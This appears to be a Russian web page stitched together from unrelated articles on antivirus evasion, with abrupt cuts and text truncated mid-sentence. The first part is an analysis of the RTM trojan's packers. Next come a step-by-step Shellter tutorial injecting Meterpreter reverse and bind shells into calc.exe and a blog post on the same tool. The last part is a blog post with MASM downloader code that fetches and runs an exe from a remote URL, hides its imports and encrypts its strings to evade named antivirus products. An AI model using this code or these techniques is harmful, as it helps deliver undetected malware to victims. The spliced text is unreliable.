Как вирусы обходят антивирусы

Обновлено: 06.07.2024

Создание уникального вредоносного ПО требует больших ресурсов, поэтому многие хакерские группировки используют в своих атаках массовое, часто публично доступное ВПО. Широкое использование неизбежно приводит к тому, что такой инструмент попадает на радары антивирусных компаний, а его эффективность снижается.

Для решения этой проблемы хакеры используют техники упаковки, шифрования и мутации кода. Такие техники часто реализуют отдельные инструменты — «крипторы» (crypters) или просто «пакеры». В этой статье на примере банковского трояна RTM мы рассмотрим, какие «пакеры» могут использовать злоумышленники и как эти «пакеры» осложняют обнаружение ВПО.

Полная версия данного исследования доступна по ссылке.

Packer-as-a-service

Хакерская группа, стоящая за распространением RTM, до конца 2020 года регулярно проводила массовые фишинговые рассылки с вредоносными вложениями. Этот процесс, по всей видимости, происходил автоматически.

Каждое такое вложение содержало существенно отличающиеся друг от друга файлы, при этом итоговая полезная нагрузка практически не менялась.

Пример архива RTM

Пример архива RTM

Подобная особенность — естественное следствие применения «крипторов». Первоначально группа, стоящая за RTM, использовала свой собственный уникальный «криптор», однако в течение 2020 года дважды его сменила.

При исследовании по-новому упакованных образцов нам удалось обнаружить множество другого ВПО, которое было защищено аналогичным образом. Пересечения с другими вредоносами с учетом автоматизации процесса упаковки, на наш взгляд, позволяют говорить об использовании злоумышленниками модели packer-as-a-service. В этой модели упаковка вредоносных файлов делегируется специальному сервису, которым управляет третья сторона. Доступ к таким сервисам часто продается на хакерских форумах.

Rex3Packer

Первое использование этого пакера группой RTM, которое нам удалось обнаружить, относится к ноябрю 2019 года. Активное же его применение, по нашим данным, приходится на период апрель—май 2020 года.

Фишинговое письмо RTM, январь 2021

Фишинговое письмо RTM, январь 2021

Нам не удалось связать этот упаковщик с каким-либо из ранее описанных публично, поэтому мы дали ему свое название по трем особенностям его устройства: наличию рекурсии (recursion), реверса битов (reverse) и рефлективной загрузки PE-файлов (reflection) — Rex3Packer.

Алгоритм распаковки

Общий алгоритм извлечения полезной нагрузки выглядит так:

С помощью VirtualAlloc выделяется заранее определенное количество памяти с правами на чтение, запись и исполнение.

В выделенный буфер копируется содержимое образа текущего процесса в памяти (в частности, секция .text).

Управление передается на функцию внутри буфера.

Вычисляется разница между положением одних и тех же данных в буфере и в образе PE-файла (разность между адресами в буфере и виртуальными адресами в образе). Эта разность заносится в регистр ebx. Все обращения к виртуальным адресам в коде проиндексированы содержимым этого регистра. За счет этого везде, где это необходимо, к адресам из PE-образа добавляется поправка, которая позволяет получить соответствующий адрес в буфере.

Выделяется еще один буфер под упакованные данные.

Через вызов VirtualProtect устанавливаются права RWX на весь регион памяти с образом PE-файла.

Упакованные данные копируются в свой буфер.

Происходит декодирование упакованных данных.

Регион памяти с образом PE заполняется нулевыми байтами.

Декодированные данные представляют собой исполняемый файл — PE-нагрузку. Эта полезная нагрузка рефлективно загружается на место исходного PE-образа, а управление передается на ее точку входа.

Отдельный интерес представляет специфический алгоритм декодирования упакованных данных. В данном случае некорректно говорить об упаковке как о сжатии: алгоритм устроен так, что размер упакованных данных всегда больше размера исходных.

Непосредственно упакованным данным предшествует заголовок размером 16 байт, который содержит 4 поля по 4 байта:

размер самого заголовка,

размер исходных данных (PE-нагрузки),

позиция в исходных данных (*), по которой происходит их разделение,

режим кодирования (1, 2, либо 4).

Декодирование выполняется следующим образом:

Внутри каждого байта выполняется реверс порядка битов (к примеру, 10011000 становится 00011001).

В зависимости от режима кодирования (1, 2, 4), данные разбиваются на блоки размером N = 9, 5, либо 3 байта соответственно. Результат декодирования блока — это (N – 1) байт (то есть 8, 4, или 2).

В первых N-1 байтах блока отсутствует часть битов: их значения всегда равны нулю. Чтобы восстановить оригинальные байты, с помощью масок вида 00000001, 00010001 или 01010101 из последнего байта блока извлекаются недостающие биты. При этом для каждого следующего байта маска сдвигается. То есть последний байт блока фактически составлен из объединенных логической операцией OR битов, которые извлечены из предыдущих байтов.

Например, в режиме 4 последний байт состоит из четных битов первого байта блока и нечетных битов второго байта блока. В результате возврата этих битов в первый и второй байты получается оригинальная последовательность из двух байт.

Схема получения исходных байтов в режиме 4

Схема получения исходных байтов в режиме 4

4. После операции по восстановлению битов во всех блоках полученные данные представляют собой исходный PE-файл, который был разделен по позиции (*) на две части. Эти части, в свою очередь, были переставлены между собой. Обратная перестановка с учетом значения (*) позволяет получить оригинальный файл.

Обфускация

Чтобы усложнить анализ кода, в пакере применяется различного рода запутывание:

В промежутках между исполнением полезных команд делаются вызовы различных функций WinAPI. Их результаты сохраняются, но не используются, а сами функции выбираются так, чтобы не влиять на работу программы.

Характерная особенность данного пакера — наличие циклов (не выполняющих полезных операций), которые реализуются через рекурсивную функцию.

Для дополнительного запутывания в исполняемый файл добавляется несколько десятков случайно сгенерированных функций. Они могут ссылаться друг на друга, но в процессе работы ни одна из них не получает управления.

Использование

Кроме экземпляров RTM, мы обнаружили использование Rex3Packer для упаковки различного ВПО, в основном из стран СНГ.

Также мы отметили использование пакера для упаковки экземпляров ВПО из семейств Nemty, Pony, Amadey.

HellowinPacker

В мае 2020 группа RTM переключилась на использование нового упаковщика — HellowinPacker, который продолжала активно использовать до начала 2021 года. Ключевой особенностью этого пакера является два уровня мутации кода. Первый из них существенно меняет структуру кода распаковки, делая различные образцы не похожими друг на друга.

Сравнение кода в двух экземплярах разной структуры

Сравнение кода в двух экземплярах разной структуры

Второй уровень меняет лишь отдельные детали при неизменной в целом структуре кода. При этом изменения главным образом затрагивают ассемблерные инструкции и не влияющие на работу программы константы. В результате в декомпилированном виде код выглядит практически идентичным.

Сравнение кода в двух экземплярах одной структуры

Сравнение кода в двух экземплярах одной структуры

Так же, как и в случае с Rex3Packer, мы имеем дело с массовым использованием HellowinPacker для упаковки различного ВПО. При этом вредоносное ПО из одного семейства, как правило, имеет в упакованном виде одну и ту же структуру. Это можно пронаблюдать, по крайней мере, на протяжении некоторого времени — затем структура может измениться.

Алгоритм распаковки

Одни из первых действий, которые встречаются во всех упакованных файлах — это попытки открыть ключ реестра HKEY_CLASSES_ROOT\Interface\ (регистр символов в конкретном случае может отличаться) и запросить в нем значение по умолчанию (Default). От успешности этих операций в некоторых модификациях генерируемого кода зависит корректное продолжение работы программы.

GUID интерфейса в разных случаях также может отличаться.

Дальнейший код некоторым образом получает адрес, по которому располагается блок зашифрованных данных.

Этот блок начинается с четырехбайтного числа, которое хранит размер исходных данных (тех, которые будут получены после декодирования). Вызовом VirtualAlloc под расшифрованные данные выделяется блок памяти нужного размера с правами RWX. В выделенную память блоками по X байт копируются зашифрованные данные. При этом в оригинальном файле между этими блоками располагаются пропуски длиной Y байт.

Схема копирования данных в HellowinPacker

Схема копирования данных в HellowinPacker

Затем происходит процесс дешифровки блоками по 4 байта:

очередной блок интерпретируется как целое число (DWORD),

к его значению прибавляется индекс первого байта в блоке,

выполняется операция xor между полученным значением и суммой индекса и фиксированного ключа, числа Z.

Обфускация

Как и в случае с Rex3Packer, в экземплярах с HellowinPacker встречаются вызовы функций WinAPI, не относящихся к основной логике программы. Однако в данном случае они используются скорее как способ затруднить поведенческий анализ и детектирование в песочницах. В пользу этого предположения говорит то, что в большинстве случаев разнообразные функции вызываются подряд в самом начале программы.

Точка входа в одной из упакованных библиотек

Точка входа в одной из упакованных библиотек

Дополнительным эффектом от такого использования WinAPI становится невозможность детектирования по списку импортируемых функций и imphash.

При работе с различными числовыми значениями часто встречается некоторая арифметическая обфускация: необходимые константы представляются в виде суммы или разности других констант (в определенных случаях равной нулю). При этом для получения констант могут быть использованы и вызовы функций WinAPI, дающие предсказуемый результат (например, 0 в случае неудачи).

Использование

HellowinPacker существует по крайней мере с 2014 года. За это время он был использован в различном массовом вредоносном ПО. Вот лишь несколько примеров:


Большая проблема многих пентестов в том, что «заряженные» исполняемые файлы, созданные с помощью Metasploit или других пентест-фреймворков, палятся практически всеми антивирусными вендорами. И поэтому вместо того, чтобы продолжать проникновение, пентестеру приходится думать, как обмануть антивирус. Проделывая эту работу от кейса к кейсу, очень много времени теряешь впустую. Поэтому постепенно начали появляться инструменты, автоматизирующие эту задачу. Один из них — Veil, фреймворк, про который в журнале уже была подробная статья от его создателей. Сегодня мы познакомимся с другим крутым инструментом по имени Shellter.

Quick Start

Для начала немного информации с официального сайта проекта. Значит, так, Shellter — это инструмент для динамического внедрения шелл-кода, да и вообще первый инструмент для динамического внедрения кода в PE-файлы (но стоит сразу отметить, что DLL-файлы не поддерживаются). Применяется для встраивания шелл-кода в нативные Windows-приложения (пока поддерживаются только 32-битные). В качестве полезной нагрузки могут выступать собственные шелл-коды или же сгенерированные с помощью какого-либо фреймворка, например Metasploit.

Преимущество Shellter в том, что в своей работе он опирается только на структуру PE-файла и не применяет никаких «грязных» приемов, таких как добавление новых секций с RWE-правами, модификация прав доступа к существующим секциям и прочие вещи, которые сразу же вызывают подозрение у любого антивируса. Вместо этого Shellter использует уникальный динамический подход, основанный на потоке выполнения целевого (заражаемого) приложения.

Основные фичи

Нельзя не привести довольно внушительный список возможностей, основные из которых (наиболее интересные) постараемся рассмотреть в статье.

На основе своей встроенной эвристики, движка отладчика, в динамике запускающего хост-файл и трейсящего указанное количество инструкций, Shellter находит подходящее место для безопасного размещения шелл-кода в PE-файле. Обязательные изменения в структуре PE-файла минимальны — удаляются флажки в DllCharacteristics (предотвращение релоцирования), очищаются данные о цифровой подписи.

В процессе работы Shellter трейсит только поток выполнения, происходящий в userland, то есть код внутри самого заражаемого приложения, а также «внешний» код, расположенный в системных библиотеках, в куче и так далее. Это делается для того, чтобы не пропустить функции целевого приложения, использующиеся только в качестве колбэков для Windows API. В процессе трассировки Shellter не учитывает и не логирует инструкции, находящиеся за границами памяти целевого приложения, так как на них нельзя будет сослаться при инжектировании шелл-кода.

Shellter-кукловод

Shellter-кукловод

Подбор целевого приложения

Немного познакомившись с принципами работы Shellter, коснемся теперь важного вопроса, как выбрать правильную цель для внедрения своего шелл-кода. Прежде всего, как уже было отмечено, приложение должно быть нативным и 32-разрядным. Еще одно условие — приложение не должно быть статически связано ни с какими сторонними библиотеками, кроме тех, что по умолчанию включены в Windows.

Так как главная задача данного инструмента — обход антивирусных решений, следует избегать также запакованных приложений, приложений, имеющих секции с RWE-правами или более одной секции кода: они изначально будут выглядеть подозрительно для антивируса.

Еще одна причина, почему следует избегать упакованных exe-шников, — это то, что большинство нормальных пакеров перед распаковкой проверят файл на наличие модификаций и, соответственно, после внедрения шелл-кода просто откажутся запуститься. К тому же практически все они напичканы антиотладочными приемами и быстро обнаружат, что Shellter пытается их оттрассировать (на данный момент Shellter умеет бороться только с PEB.IsBeingDebugged, PEB.NtGlobalFlag). Поэтому упаковывать приложение лучше всего уже после внедрения в него шелл-кода. А самый идеальный вариант — выбрать приложение, которое для антивируса выглядело бы как легитимное.

Запутываем следы

Теперь немного о том, какие же способы применяются для одурачивания антивирусов. Два основных способа — это использование junk-кода и шифрованных/саморасшифровывающихся пейлоадов. Shellter имеет встроенный полиморфный движок, который генерирует мусорный код указанного пользователем в байтах размера. Мертвый код исполняется после точки входа в шелл-код Shellter вплоть до исполнения полезной нагрузки или ее дешифровки. Мусорный код представляет собой последовательность холостых циклов (loopd), использование реальных данных программы (чтение/запись), вхождение в пустые процедуры, код которых ищется гаджетами в оригинальной кодовой секции программы хоста шелл-кода.

Генерируем мусорный код

Генерируем мусорный код

Шифрование полезной нагрузки Shellter позволяет проводить семью методами на основе использования Windows API (для создания саморасшифровывающегося кода без изменений в характеристиках секций исполняемого кода PE-файла):

  1. VirtualAlloc.
  2. VirtualAllocEx.
  3. VirtualProtect.
  4. VirtualProtectEx.
  5. HeapCreate/HeapAlloc.
  6. LoadLibrary/GetProcAddress.
  7. CreateFileMapping/MapViewOfFile.

Так как утилита стремится к как можно меньшему изменению структуры заголовка PE-файла, то она предполагает использовать только имеющийся у файла импорт. Если в файле не будет ни одного из вышеперечисленных наборов API в таблице импорта, то Shellter предложит пользователю либо отказаться от шифрования полезной нагрузки, либо принудительно изменить характеристики секции PE-файла. Как ты понимаешь, без шифрования полезной нагрузки Shellter будет в большинстве случаев бесполезен (в плане обхода аверов).

Доступен метод шифрования пейлоада только с помощью LoadLibrary/GetProcAddress Точка входа шелл-кода Shellter, без обфускации и полиморфизма + использование саморасшифровки полезной нагрузки (VirtualAlloc)

Начиная с четвертой версии, Shellter предоставляет свой собственный динамический шифровальщик. С его помощью можно обфусцировать процедуру дешифровки полезной нагрузки, вставляя при каждой генерации шелл-кода случайное количество XOR , AND , SUB , NOT операций (для этого используется ключ командной строки --polydecoder ). Вызовы API-функций, используемые для переноса шелл-кода в память с доступом на запись, также могут быть обфусцированы.

При работе в режиме Auto Shellter будет по умолчанию применять свой кодировщик для обфускации декодера полезной нагрузки. Эта фича может применяться как с незашифрованными пейлоадами, так и с зашифрованными, в качестве дополнительного уровня шифрования.

Dynamic Thread Context Keys

Довольно интересная фишка, которая появилась в четвертой версии, называется Dynamic Thread Context Keys. Она позволяет использовать динамическую информацию из контекста потока целевого приложения в качестве ключей шифрования. Принцип работы прост: во время трассировки логируются значения определенных регистров CPU, после чего отфильтровываются значения для потенциальных мест внедрения пейлоада, в которых по крайней мере один из регистров хранит значение, пригодное для шифрования/расшифровки во время исполнения программы. Пока это экспериментальная возможность, которая позволяет избавиться от необходимости хардкодить ключ для расшифровки. В режиме Auto она может быть включена только с помощью ключа --DTCK .

Пара слов о пейлоадах

Теперь немного о полезных нагрузках. В Shellter уже встроено несколько наиболее распространенных пейлоадов, поэтому в большинстве случаев их больше не потребуется генерировать вручную через Metasploit. Этот список включает в себя:

Все это адаптированные пейлоады из Metasploit, поэтому они очень хорошо известны всем антивирусам. В связи с чем настоятельно рекомендуется включить шифрование полезных нагрузок с помощью опции --encode . В случае использования режима Auto без каких-либо аргументов Shellter применит свое собственное шифрование для сокрытия полезной нагрузки. Задействовать определенный пейлоад можно из командной строки, например так:

Steаlth-режим

Важно: при использовании Stealth-режима с кастомным пейлоадом (то есть не встроенным в Shellter) надо будет установить exit-функцию в значение THREAD. В противном случае, если сессия умрет или ты захочешь ее закрыть, упадет все приложение. Плюс к этому все reverse connection пейлоады из Metasploit делают ограниченное число попыток соединиться с удаленным хостом, исчерпав которые убивают процесс. Чтобы этого не произошло, Shellter использует слегка измененные версии пейлоадов из Metasploit. Поэтому, когда тебе понадобится reverse connect, лучше воспользоваться встроенными в Shellter образцами.

Разбираем на примерах

На самом деле есть еще много интересных моментов, изложенных в официальной документации, но в рамках данной статьи они для нас не очень существенны. Как говорится, лучше один раз увидеть, чем сто раз услышать. Именно поэтому перейдем от слов к делу и проверим инструмент в реальных условиях. Начнем с установки. Все, что требуется пользователям Windows, — скачать и распаковать архив.

Как уже упоминалось, Shellter можно использовать и в Linux/Mac. Можно скачать упомянутый архив и запустить инструмент через Wine/CrossOver. Хотя пользователи некоторых дистрибутивов Linux могут установить Shellter и с помощью менеджера пакетов. Например, в Kali установка не отличается от установки прочего софта:

Calc.exe, настало твое время

Далее для экспериментов нам понадобятся две виртуальные машины, объединенные в сеть: одна с Windows (в данном случае будет использоваться XP, так как она уже установлена и настроена), где мы будем «заражать» приложение, вторая с Kali Linux — для того, чтобы взаимодействовать с reverse connection пейлоадами. Остается только определиться с пациентом, которого будем заражать. Каким критериям он должен удовлетворять, мы уже обсудили. Поэтому повторяться не будем, а для опытов выберем многострадальный калькулятор.

WinExec

Начнем с самого простого — попытаемся внедрить в калькулятор WinExec пейлоад, который будет запускать. блокнот. Для этого скопируем калькулятор в папку с Shellter (чисто ради удобства работы) и запустим последний. Нам сразу же будет предложено выбрать режим работы: автоматический (Auto) или ручной (Manual). Чтобы познакомиться со всеми опциями, выберем ручной (m) и укажем в качестве таргета calc.exe . После чего Shellter создаст резервную копию оригинального файла (calc.exe.bak) и начнет собирать информацию о нем и проводить необходимые изменения.

Прежде всего он проверит, не упакован ли исполняемый файл (почему следует избегать внедрения шелл-кода в упакованные файлы, мы говорили выше). Потом немного поработает над самим файлом, а конкретно над его DllCharacteristics и цифровой подписью. Затем спросит, стоит ли собирать Dinamic Thread Context Info. В дальнейшем мы будем использовать эту информацию в качестве ключа для дешифровки пейлоада, чтобы не хранить его в явном виде (помнишь Dinamic Thread Context Keys?). Поэтому отвечаем утвердительно. Количество инструкций задаем произвольно. Для примера установим равным 15 000. Чтобы не наколоться и не внедрить шелл-код в место, где живет самомодифицирующийся код, включаем проверку на его наличие во время трассировки. Чтобы сэкономить время, останавливать трассировку при его обнаружении не будем, о чем и сообщим инструменту на следующем шаге. Real-Time Tracing покажет процесс прохождения программы в реальном времени, но никакой важной информации для нас это не несет, так что включать не будем.

Далее Shellter применит свои немногочисленные (пока) средства по борьбе с антиотладочными приемами и начнет выполнять трассировку калькулятора. По истечении которой задаст важный вопрос: стоит ли включать Stealth Mode? В принципе, даже если мы не планируем внедрять в файл несколько пейлоадов, данная опция не помешает, так что включим. После этого нам предложат выбрать между встроенными и кастомными пейлоадами (о них поговорим далее). Выбираем встроенные и в предоставленном списке останавливаем свой выбор на кандидате номер семь — WinExec. В качестве аргумента указываем ему notepad.exe.

И вот тут-то нас спросят, стоит ли зашифровывать пейлоад с помощью DTCK (Dinamic Thread Context Keys). Давай попробуем, плюс на следующем шаге согласимся еще и на обфускацию декодера. Shellter поищет в таблице импорта подходящие API для этой задачи, в нашем случае найдет только LoadLibrary/GetProcAddress связку (идет под номером 5). Затем обфусцируем IAT Handler и добавляем полиморфный код (встроенный, размер устанавливаем в 200 байт). После этого можно будет посмотреть и выбрать конкретную точку для внедрения шелл-кода. В данном случае доступен диапазон от 0 до 560 (для внедрения была выбрана первая). Это последний вопрос на выбор, далее Shellter проинжектит шелл-код и пересчитает контрольную сумму файла.

В общем, весь процесс чем-то напоминает установку программы: Next, Next, Next, и все готово. Остается только запустить полученный файл. Как и было задумано, помимо калькулятора, появилось еще и окно блокнота.

Включаем Stealth Mode и внедряем Meterpreter_Reverse_TCP в калькулятор Внедрение кастомного пейлоада

Custom payload

Теперь немного отвлечемся и посмотрим, что делать, если вдруг встроенных в Shellter пейлоадов не хватает для решения какой-либо задачи. Если помнишь, мы говорили, что утилита позволяет использовать кастомные пейлоады, сгенерированные юзером. Поэтому идем, открываем Metasploit и выбираем подходящий нам по функциональности вариант:

Допустим, нас интересует windows/meterpreter/bind_hidden_ipknock_tcp :

Прежде всего обращаем внимание на параметр EXITFUNC , выше уже говорилось, что его значение должно быть thread .

И настраиваем остальные параметры под себя:

Теперь смотрим параметры генерации пейлоада:

И генерируем пейлоад:

После чего файл с именем custom_payload должен появиться в домашней директории. Переносим его на машину с Shellter.

Stealth Mode

Теперь займемся Stealth-технологией и попытаемся внедрить в калькулятор сразу несколько пейлоадов. Первый будем использовать встроенный, а второй — лично сгенерированный. Запускаем Shellter в автоматическом режиме (чтобы побыстрей), указываем как цель calc.exe и ждем, когда нам предложат включить Stealth Mode. Включаем и выбираем в качестве полезной нагрузки Meterpreter_Reverse_TCP. Устанавливаем LHOST = 192.168.0.55 (адрес Kali-машины), LPORT = 4444 . На этом все, далее инструмент делает все самостоятельно и сообщает об успешном внедрении. Отлично, давай проверим работоспособность. Идем в Kali и открываем Metasploit:

А затем на соседней виртуальной машине запускаем зараженный калькулятор. И получаем:

Все замечательно работает. Теперь попытаемся запихнуть в calc.exe еще одну полезную нагрузку, которую сгенерировали на предыдущем шаге. Опять запускаем Shellter в автоматическом режиме и доходим до шага выбора пейлоада, только на этот раз указываем, что будем использовать кастомный. На вопрос, является ли нагрузка reflective dll loader, отвечаем отрицательно и ждем, когда Shellter доделает свое дело. Теперь у нас в калькуляторе должно прятаться две нагрузки: meterpreter/reverse_tcp и meterpreter/bind_hidden_ipknock_tcp .

Проверим, так ли это. Заходим в Metasploit и повторяем указанные выше действия. Ничего удивительного, reverse_tcp отработала, как положено. А вот второй пейлоад более интересный, чтобы подключиться к нему, надо сначала постучать в порт 5555 Windows-машины с адреса 8.8.8.8. Иначе подключиться не получится. Сделать это можно, проспуфив IP-адрес с помощью утилиты hping3:

Подождать немного и попытаться подключиться. Сначала отправляем активную сессию (ту, которая reverse_tcp) meterpreter в бэкграунд:

Выбираем другой пейлоад — meterpreter/bind_tcp — и выставляем опции:

И получаем еще одну meterpreter-сессию. Как видишь, несколько пейлоадов в одном файле прекрасно уживаются. Вот и замечательно.

Два пейлоада в calc.exe дают нам две meterpreter-сессии Калькулятор с двумя внедренными пейлоадами ни у кого не вызывает подозрений 😉

Заключение

Первое знакомство с Shellter закончилось. За рамками нашего обзора осталось еще достаточно интересной информации, касающейся работы инструмента. С ней ты сможешь познакомиться самостоятельно, покурив этот мануал. Но все основные и интересные моменты мы рассмотрели, так что у тебя теперь достаточно информации для полноценного использования этой тулзы. А в качестве домашнего задания можешь самостоятельно проверить, как «хорошо» детектируют антивирусы полученные после внедрения полезной нагрузки файлы.

a044f5679b1d.jpg

Бумажная безопасность порядком надоела, поэтому я решил немного отвлечься на практику. Не так давно мне представился случай лично убедиться, с какой легкостью злоумышленник, обладающий самой минимальной квалификацией, способен обойти популярные "топовые" антивирусы. Сегодняшний пост посвящен короткой истории поединка скрипт-кидди с одним популярным антивирусом.

1) Многое из написанного ниже, для экспертов, несомненно - боян. Но автор и не претендует на "срыв покровов". Статья призвана предостеречь тех пользователей, которые полагаются на антивирус как на панацею, при этом забывая о необходимости комплексного подхода к безопасности.

2) Статья написана исключительно в образовательных целях. Не нужно использовать эту информацию для совершения противоправных действий.

3) Статья не пытается бросить тень на производителей антивирусов. Уверен, что они делают все возможное, чтобы совершенствовать свои продукты.

Как - то раз нелегкая судьба безопасника (от которого часто требуют уметь все) занесла меня в пентесты. Была поставлена задача проверить уязвимость организации к вирусной атаке.

В компании использовалось антивирусное ПО от одного из топ-вендоров. Антивирусы были развернуты и на серверах (включая почтовые и прокси-серверы) и на компьютерах пользователей. Централизованное управление и обновление тоже было.

Неплохая защищенность и небольшой опыт в проведении пентестов не сулили затее особого успеха .

Однако, практическая реализация показала другое: злоумышленник может организовать атаку и обойти средства антивирусной защиты даже при помощи стандартных общеизвестных средств, доступных практически любому специалисту. Каким образом - описано ниже .

Как уже говорилось, злоумышленнику не нужно обладать высокой квалификацией. Достаточно навыков скрипт-кидди - найти подходящий инструмент.

Причем искать долго не придется - все необходимое есть в Metasploit Framework .

MSF.jpg

Хотя многие специалисты по ИБ наверняка о нем слышали, на всякий случай напомню: Metasploit представляет собой средство автоматизации пентестов от компании Rapid7 и содержащее большое количество готовых эксплойтов.

Помимо эксплойтов, Metasploit содержит набор готовых «полезных» нагрузок ( payloads ), проще говоря - вредоносного ПО .

Таким образом, злоумышленнику не нужно ничего разрабатывать, достаточно "выгрузить" Meterpreter в подходящем формате (кстати, делается это одной командой) .

Но для пользователей есть хорошая новость: Meterpreter обнаруживается практически всеми антивирусами. Если выгрузить его в exe -файл и «скормить» VirusTotal , то получим такой результат :

image1.jpg

Как видим , антивирусы, в подавляющем большинстве, детектировали Meterpreter как вредоносное ПО. Это и не удивительно: ему уже много лет.

Означает ли это победу антивируса над скрипт-кидди? Не совсем.

После 5 минут поиска в G oogle находится сразу несколько готовых решений для обхода антивирусов. Познакомимся поближе с инструментом под названием Shellter (сайт).

image3.jpg

Shellter используется для сокрытия вредоносного кода в исполняемых файлах Windows . Проще говоря, Shellter «вставляет» в нативное 32-разряднное приложение код вредоносной программы, который автоматически начинает выполняться при его запуске. Среди особенностей Shellter можно отметить минимальные изменения, вносимые в структуру исполняемого файла, использование «мусорного» кода и возможность кодирования «нагрузки». Все это затрудняет детектирование итогового файла антивирусами.

В автоматическом режиме работы Shellter требует минимального участия пользователя: Next , Next , Next и готово. Сначала выбирается PE -файл приложения, затем – нужный payload (причем Meterpreter в Shellter уже предусмотрительно встроен).

На выходе получается исполняемый файл, в котором скрыта «полезная» нагрузка в виде Meterpreter (или любого другого кода).

Если создать зараженный файл при помощи Shellter и попытаться проверить его через VirusTotal, то увидим следующее :

image2.jpg

Показатель детектирования просто катастрофически упал. Это означает, что большинство антивирусов, установленных на рабочих местах и серверах не определят данный файл как опасный! На все про все, включая установку Shellter, ушло от силы 5 минут .

Таким образом, хотя сигнатура трояна известна уже много лет (Met asploit и Meterpreter вход ят в стандартную сборку Kali L inux ), благодаря Shellter популярные антивирусы ничего не могут с ним поделать .

Но тест на VirusTotal без испытаний "в поле" не показатель. Может быть при работе троян будет обнаружен по поведенческим признакам? Чтобы проверить это, протестируем файл на двух популярных антивирусах: Eset (5.0.21.26) и

Данный материал является частной записью члена сообщества Club.CNews.
Редакция CNews не несет ответственности за его содержание.


На днях лень было заниматься чем-то сложным, поэтому решил заняться трендовым нынче направлением - обманом антивирусов. Сейчас статей типа "апходим мегакрутой онтевирус" в том же журнале "Хакер" развелось немеряно, причем способы обхода антивирусов авторы выбирают наиприметивнейшие: банальное шифрование строк статическим ключом, добавление формальных задержек (Sleep) и прочие вещи, вводящие в заблуждение только самые недалекие антивирусы. Представьте: автор пишет херню на 3-4 страницы, размазывая на них анализ своего мегавируса тремя антивирусами, и в итоге даже не способен обойти все из выбранных антивирей, а получает за это 5000 рублей. Несправедливо, тем более времени на написание такой статьи необходимо совсем немного, часа два!

Итак, я потратил около часа на то, чтобы написать программу, скачивающую из интернета exe-файл и сразу запускающую ее. Удалось обойти антивирусы Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Скорее всего, и другие бы ничего не заметили, просто не проверял. А антивирусы из списка выше даже не пикнули, когда запускался файл, скачанный только что из интернета.

Сразу скажу - я приведу не только тот способ, которым воспользовался в своей программе, но и некоторые идеи по обходу, которые я не проверял, но которые вполне могут быть на руку (и это не шифрование строк простым xor'ом со статическим ключом).

Я выбрал язык assembler и компилятор MASM32. На ассемблере удобно можно творить беспредел, в отличие от других языков. Итак, сначала моя программа приняла такой вид:

invoke URLDownloadToFile , 0 , chr $ ( "http://kaimi.io/hello_world.exe" ) , chr $ ( "hello_world.exe" ) , 0 , 0 invoke ShellExecute , 0 , chr $ ( "open" ) , chr $ ( "hello_world.exe" ) , 0 , 0 , SW _ SHOWNORMAL

Конечно, она была удалена моим антивирусом сразу после сборки. Еще бы - подряд идут две самые глупые и палевные функции - URLDownloadToFileA и сразу за ней ShellExecuteA. Но! Я не собираюсь использовать другие функции, я собираюсь надрать антивирусам задницу, используя именно эти простейшие, дабы показать, насколько у нас по-прежнему несовершенна антивирусная защита.

Первое, что мне пришло в голову - скрыть имена этих функций из таблицы импорта и искать их адреса хитрым образом через PEB (это недокументированная структура Windows, которая выдается каждому процессу системы и содержит массу полезной информации, я когда-нибудь напишу про нее статью, а пока что можете поискать описание на ntinternals). Мне ничто не мешало это сделать, тем более, я и макросы для вызова функций без использования таблицы импорта не так давно писал. Что ж, воспользуемся ими:

noimport_invoke_load chr $ ( "URLDownloadToFileA" ) , chr $ ( "urlmon.dll" ) , 0 , chr $ ( "http://kaimi.io/hello_world.exe?12" ) , chr $ ( "hello_world.exe" ) , 0 , 0 noimport_invoke_load chr $ ( "ShellExecuteA" ) , chr $ ( "shell32.dll" ) , 0 , chr $ ( "open" ) , chr $ ( "hello_world.exe" ) , 0 , 0 , SW _ SHOWNORMAL

Вкратце: через PEB мы ищем адрес ядра (kernel32.dll), парсим его таблицу экспорта до тех пор, пока не найдем функцию GetProcAddress, а с ее помощью получаем адрес функции LoadLibraryA. Этих двух функций нам вполне достаточно для получения адресов всех необходимых нам функций в любых библиотеках. Теперь у программы всего один импорт - ExitProcess, его я вызвал явно, как и в первом варианте. После этого NOD32 сразу посчитал файл легальной программой и даже дал ему исполниться! Но вот Dr.Web продолжал определять программу как Trojan.Downloader. "Неужели они умеют эмулировать PEB?", - подумал я. Но не тут-то было, они, по всей видимости, просто считали, что если в программе есть строки URLDownloadToFileA и ShellExecuteA, то это вирус!

Давайте их зашифруем. Только зашифруем так, как это нужно делать, чтобы только на реальной машине они расшифровывались без проблем. Воспользуемся малоизвестной WinAPI-функцией, о которой антивирус, скорее всего, ничего не знает:

noimport_invoke_load funcname , chr $ ( "urlmon.dll" ) , 0 , chr $ ( "http://kaimi.io/hello_world.exe?12" ) , chr $ ( "hello_world.exe" ) , 0 , 0 mov funcname , FUNC ( string _ coder , chr $ ( "ZaleeLqlj|>lH" ) ) noimport_invoke_load funcname , chr $ ( "shell32.dll" ) , 0 , chr $ ( "open" ) , chr $ ( "hello_world.exe" ) , 0 , 0 , SW _ SHOWNORMAL

А теперь по порядку. Добавилась процедура string_coder, принимающая единственный параметр - указатель на строку, которую необходимо расшифровать или зашифровать. Так как я использую операцию xor для шифрования, функция обратима: прогнали ей один раз строку - получили зашифрованную, прогнали второй - расшифровали. Но я не использую статический ключ шифрования, я, как уже и сказал, воспользовался функцией QueryDosDevice, которая позволяет получить некоторую информацию о желаемом диске. Вся фишка тут в том, что я передал ей вполне легальные параметры, но вот размер буфера очень ограничил (последний параметр функции - 5 байтов, а этого явно мало для записи целой длинной строки с информацией). А это значит, что функция вернет ошибку (0), и дальше я проверяю это. Но и это еще не все - после такого обращения к функции последняя ошибка будет выставлена в ERROR_INSUFFICIENT_BUFFER, о чем антивирус вообще едва ли знает, и именно это значение (после некоторых преобразований, чтобы зашифрованный вариант был текстовым, как и оригинальная строка) я и использую для шифрования строк. В остальной части программы ничего не поменялось, за исключением того, что теперь я сначала расшифровываю зашифрованные строки и только после этого вызываю сами функции. Теперь у меня и импорты менее приметные стали - используются штатные функции SetLastError, GetlastError, QueryDosDevice и ExitProcess.

